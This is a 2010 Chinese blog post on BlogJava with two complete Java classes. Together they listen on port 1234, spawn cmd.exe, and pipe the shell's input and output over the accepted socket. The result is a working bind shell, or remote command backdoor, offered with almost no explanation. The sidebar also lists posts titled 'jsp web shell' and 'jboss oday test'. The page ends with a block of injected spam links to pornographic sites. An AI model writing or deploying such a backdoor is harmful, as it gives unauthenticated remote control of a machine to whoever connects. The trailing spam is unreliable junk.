shnulaa
Never deter till tomorrow that which you can do today
posts - 15, comments - 0, trackbacks - 0, articles - 2
BlogJava
::
首頁
::
新隨筆
::
聯(lián)系
::
聚合
::
管理
Blind Cmd or bash
Posted on 2010-09-26 16:36
shnulaa
閱讀(176)
評(píng)論(0)
編輯
收藏
所屬分類:
java
1
package
cn.liuyq;
2
3
import
java.io.BufferedReader;
4
import
java.io.BufferedWriter;
5
import
java.io.IOException;
6
import
java.io.InputStream;
7
import
java.io.InputStreamReader;
8
import
java.io.OutputStream;
9
import
java.io.OutputStreamWriter;
10
11
public
class
CombineStream
extends
Thread
{
12
private
InputStream is;
13
private
OutputStream os;
14
15
/** */
/**
16
*
17
*
@param
is
18
*
@param
os
19
*/
20
public
CombineStream(InputStream is, OutputStream os)
{
21
this
.is
=
is;
22
this
.os
=
os;
23
}
24
25
/** */
/**
26
*
27
*
@throws
Throwable
28
*/
29
public
void
run()
{
30
BufferedReader br
=
null
;
31
BufferedWriter bw
=
null
;
32
try
{
33
br
=
new
BufferedReader(
new
InputStreamReader(is));
34
bw
=
new
BufferedWriter(
new
OutputStreamWriter(os));
35
36
char
[] buffer
=
new
char
[
1024
*
5
];
37
int
charAt;
38
while
((charAt
=
br.read(buffer,
0
, buffer.length))
>
0
)
{
39
bw.write(buffer,
0
,charAt);
40
bw.flush();
41
}
42
43
}
catch
(Throwable e)
{
44
45
}
finally
{
46
if
(br
!=
null
)
{
47
try
{
48
br.close();
49
}
catch
(IOException e)
{
50
//
TODO Auto-generated catch block
51
e.printStackTrace();
52
}
53
}
54
if
(bw
!=
null
)
{
55
try
{
56
bw.close();
57
}
catch
(IOException e)
{
58
//
TODO Auto-generated catch block
59
e.printStackTrace();
60
}
61
}
62
}
63
64
}
65
66
/** */
/**
67
*
68
*/
69
public
void
destroy()
{
70
if
(is
!=
null
)
{
71
try
{
72
is.close();
73
}
catch
(IOException e)
{
74
//
TODO Auto-generated catch block
75
e.printStackTrace();
76
}
77
}
78
if
(os
!=
null
)
{
79
try
{
80
os.close();
81
}
catch
(IOException e)
{
82
//
TODO Auto-generated catch block
83
e.printStackTrace();
84
}
85
}
86
}
87
88
}
89
above is a thread to combine the inputStrean and outputStream.
BlindSever.java
1
package
cn.liuyq;
2
3
import
java.io.InputStream;
4
import
java.io.OutputStream;
5
import
java.net.InetSocketAddress;
6
import
java.net.ServerSocket;
7
import
java.net.Socket;
8
9
public
class
BlindSever
{
10
11
public
static
void
main(String[] args)
throws
Throwable
{
12
13
ServerSocket serverSocket
=
new
ServerSocket();
14
serverSocket.bind(
new
InetSocketAddress(
1234
));
15
Socket socket
=
serverSocket.accept();
16
17
InputStream is
=
socket.getInputStream();
18
OutputStream os
=
socket.getOutputStream();
19
20
Process process
=
Runtime.getRuntime().exec(
"
cmd.exe
"
);
21
InputStream prois
=
process.getInputStream();
22
OutputStream proos
=
process.getOutputStream();
23
24
CombineStream cs1
=
new
CombineStream(is, proos);
25
CombineStream cs2
=
new
CombineStream(prois, os);
26
27
cs1.start();
28
cs2.start();
29
30
31
}
32
}
33
open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output
新用戶注冊(cè)
刷新評(píng)論列表
只有注冊(cè)用戶
登錄
后才能發(fā)表評(píng)論。
網(wǎng)站導(dǎo)航:
博客園
IT新聞
Chat2DB
C++博客
博問
管理
相關(guān)文章:
關(guān)于持續(xù)集成的問題
jsp web shell
cmd5
oracle read file context
Blind Cmd or bash
jboss oday test
thread test
Powered by:
BlogJava
Copyright © shnulaa
日歷
<
2010年9月
>
日
一
二
三
四
五
六
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
6
7
8
9
公告
常用鏈接
我的隨筆
我的評(píng)論
我的參與
留言簿
給我留言
查看公開留言
查看私人留言
隨筆分類
java(7)
linux(3)
maven(1)
隨筆檔案
2012年6月 (2)
2011年4月 (1)
2010年9月 (12)
文章檔案
2012年6月 (2)
sd
http://geniusman.co.cc/
http://geniusman.co.cc/
http://shnulaa.68480.net/
http://shnulaa.68480.net/
shnulaa
shnulaa
shnulaa
shnulaa
搜索
積分與排名
積分 - 4521
排名 - 3177
最新評(píng)論
閱讀排行榜
1.?putty 的配色方案(1599)
2.?jsp web shell(284)
3.?關(guān)于持續(xù)集成的問題(277)
4.?cmd5(239)
5.?http://geniusman.co.cc/http://geniusman.co.cc/(230)
評(píng)論排行榜
1.?http://geniusman.co.cc/http://geniusman.co.cc/(0)
2.?sss(0)
3.?一個(gè)比較不錯(cuò)的linux學(xué)習(xí)網(wǎng)站(0)
4.?putty 的配色方案(0)
5.?關(guān)于持續(xù)集成的問題(0)
主站蜘蛛池模板:
国产精品免费看久久久
|
a毛片免费在线观看
|
国产91成人精品亚洲精品
|
亚洲熟妇AV一区二区三区宅男
|
亚洲一级毛片免费在线观看
|
亚洲av日韩av无码av
|
国产精品亚洲午夜一区二区三区
|
又粗又大又长又爽免费视频
|
国产成人无码免费视频97
|
免费国产成人午夜电影
|
亚洲AV无码一区二区三区在线观看
|
国产成人免费网站在线观看
|
亚洲国产精品人人做人人爽
|
亚洲综合无码精品一区二区三区
|
亚洲另类激情综合偷自拍图
|
亚洲国产成人久久精品影视
|
亚洲视频在线观看一区
|
亚洲av永久无码精品三区在线4
|
久久亚洲精品成人
|
老司机亚洲精品影院无码
|
亚洲欧洲尹人香蕉综合
|
亚洲中文无码mv
|
免费的黄网站男人的天堂
|
亚洲无mate20pro麻豆
|
亚洲综合av一区二区三区不卡
|
亚洲a级在线观看
|
国产91成人精品亚洲精品
|
99精品视频免费
|
114级毛片免费观看
|
岛国片在线免费观看
|
亚洲AV无码乱码在线观看牲色
|
在线日韩av永久免费观看
|
亚洲人成网站色在线入口
|
亚洲日本va中文字幕久久
|
亚洲精品视频在线观看免费
|
国产亚洲综合色就色
|
亚洲色偷偷av男人的天堂
|
亚洲人成人网站18禁
|
jizz18免费视频
|
114级毛片免费观看
|
无码国产亚洲日韩国精品视频一区二区三区
|